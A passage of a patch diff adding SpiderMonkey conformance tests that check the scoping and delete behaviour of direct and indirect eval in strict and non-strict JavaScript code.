+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+assertEq(resultsY.global4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+assertEq(resultsY.global5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-direct-normalcode.js b/js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-direct-normalcode.js
new file mode 100644
index 000000000..cb5650852
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-direct-normalcode.js
@@ -0,0 +1,172 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = eval(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 4);
+
+assertEq(resultsX.inner2, 7);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 9);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 9);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 23);
+
+
+var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = eval(ycode);
+
+var inner1 = f("get");
+var local1 = y;
+
+y = 8;
+var inner2 = f("get");
+var local2 = y;
+
+f("set1");
+var inner3 = f("get");
+var local3 = y;
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+
+assertEq(resultsY.del, true);
+
+assertEq(resultsY.inner4, "ReferenceError");
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-direct-strictcode.js b/js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-direct-strictcode.js
new file mode 100644
index 000000000..cede8de83
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-direct-strictcode.js
@@ -0,0 +1,174 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = eval(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+
+
+var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = eval(ycode);
+
+var inner1 = f("get");
+try { var local1 = y; } catch (e) { local1 = e.name; }
+
+y = 8;
+var inner2 = f("get");
+var local2 = y;
+
+f("set1");
+var inner3 = f("get");
+var local3 = y;
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, "ReferenceError");
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-indirect-normalcode.js b/js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-indirect-normalcode.js
new file mode 100644
index 000000000..5f4089f3d
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-indirect-normalcode.js
@@ -0,0 +1,172 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = ev(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 4);
+
+assertEq(resultsX.inner2, 7);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 9);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 9);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 23);
+
+
+var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = ev(ycode);
+
+var inner1 = f("get");
+var local1 = y;
+
+y = 8;
+var inner2 = f("get");
+var local2 = y;
+
+f("set1");
+var inner3 = f("get");
+var local3 = y;
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+
+assertEq(resultsY.del, true);
+
+assertEq(resultsY.inner4, "ReferenceError");
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-indirect-strictcode.js b/js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-indirect-strictcode.js
new file mode 100644
index 000000000..c225b9796
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-global-normalcaller-indirect-strictcode.js
@@ -0,0 +1,174 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = ev(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+
+
+var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = ev(ycode);
+
+var inner1 = f("get");
+try { var local1 = y; } catch (e) { local1 = e.name; }
+
+y = 8;
+var inner2 = f("get");
+var local2 = y;
+
+f("set1");
+var inner3 = f("get");
+var local3 = y;
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, "ReferenceError");
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 8);
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, 8);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 8);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-direct-normalcode.js b/js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-direct-normalcode.js
new file mode 100644
index 000000000..4a6b289f2
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-direct-normalcode.js
@@ -0,0 +1,173 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = eval(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+
+
+var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = eval(ycode);
+
+var inner1 = f("get");
+try { var local1 = y; } catch (e) { local1 = e.name; }
+
+try { y = 8; } catch (e) { assertEq(e.name, "ReferenceError"); }
+var inner2 = f("get");
+try { var local2 = y; } catch (e) { local2 = e.name; }
+
+f("set1");
+var inner3 = f("get");
+try { var local3 = y; } catch (e) { local3 = e.name; }
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, "ReferenceError");
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, "ReferenceError");
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, "ReferenceError");
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, "ReferenceError");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-direct-strictcode.js b/js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-direct-strictcode.js
new file mode 100644
index 000000000..2e624ecb3
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-direct-strictcode.js
@@ -0,0 +1,175 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = eval(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+
+
+var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = eval(ycode);
+
+var inner1 = f("get");
+try { var local1 = y; } catch (e) { local1 = e.name; }
+
+try { y = 8; } catch (e) { assertEq(e.name, "ReferenceError"); }
+var inner2 = f("get");
+try { var local2 = y; } catch (e) { local2 = e.name; }
+
+f("set1");
+var inner3 = f("get");
+try { var local3 = y; } catch (e) { local3 = e.name; }
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, "ReferenceError");
+
+assertEq(resultsY.inner2, 5);
+assertEq(resultsY.local2, "ReferenceError");
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, "ReferenceError");
+
+assertEq(resultsY.del, "SyntaxError");
+
+assertEq(resultsY.inner4, 2);
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, "ReferenceError");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-indirect-normalcode.js b/js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-indirect-normalcode.js
new file mode 100644
index 000000000..ac11ccb73
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-indirect-normalcode.js
@@ -0,0 +1,173 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
+var f = ev(xcode);
+
+var inner1 = f("get");
+var local1 = x;
+
+x = 7;
+var inner2 = f("get");
+var local2 = x;
+
+f("set1");
+var inner3 = f("get");
+var local3 = x;
+
+var del = f("delete");
+var inner4 = f("get");
+var local4 = x;
+
+f("set2");
+var inner5 = f("get");
+var local5 = x;
+
+var resultsX =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsX.local0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 4);
+
+assertEq(resultsX.inner2, 7);
+assertEq(resultsX.local2, 7);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 9);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 9);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 23);
+
+
+var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+try { var local0 = y; } catch (e) { local0 = e.name; }
+
+var f = ev(ycode);
+
+var inner1 = f("get");
+var local1 = y;
+
+try { y = 8; } catch (e) { assertEq(e.name, "ReferenceError"); }
+var inner2 = f("get");
+var local2 = y;
+
+f("set1");
+var inner3 = f("get");
+var local3 = y;
+
+var del = f("delete");
+try { var inner4 = f("get"); } catch (e) { inner4 = e.name; }
+try { var local4 = y; } catch (e) { local4 = e.name; }
+
+f("set2");
+try { var inner5 = f("get"); } catch (e) { inner5 = e.name; }
+try { var local5 = y; } catch (e) { local5 = e.name; }
+
+var resultsY =
+ {
+ local0: local0,
+ inner1: inner1, local1: local1,
+ inner2: inner2, local2: local2,
+ inner3: inner3, local3: local3,
+ del: del,
+ inner4: inner4, local4: local4,
+ inner5: inner5, local5: local5,
+ };
+
+assertEq(resultsY.local0, "ReferenceError");
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+
+assertEq(resultsY.del, true);
+
+assertEq(resultsY.inner4, "ReferenceError");
+assertEq(resultsY.local4, "ReferenceError");
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-indirect-strictcode.js b/js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-indirect-strictcode.js
new file mode 100644
index 000000000..137a8bad7
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-global-strictcaller-indirect-strictcode.js
@@ -0,0 +1,175 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict";
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+
+var ev = eval;
+
+var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+var local0 = x;
+
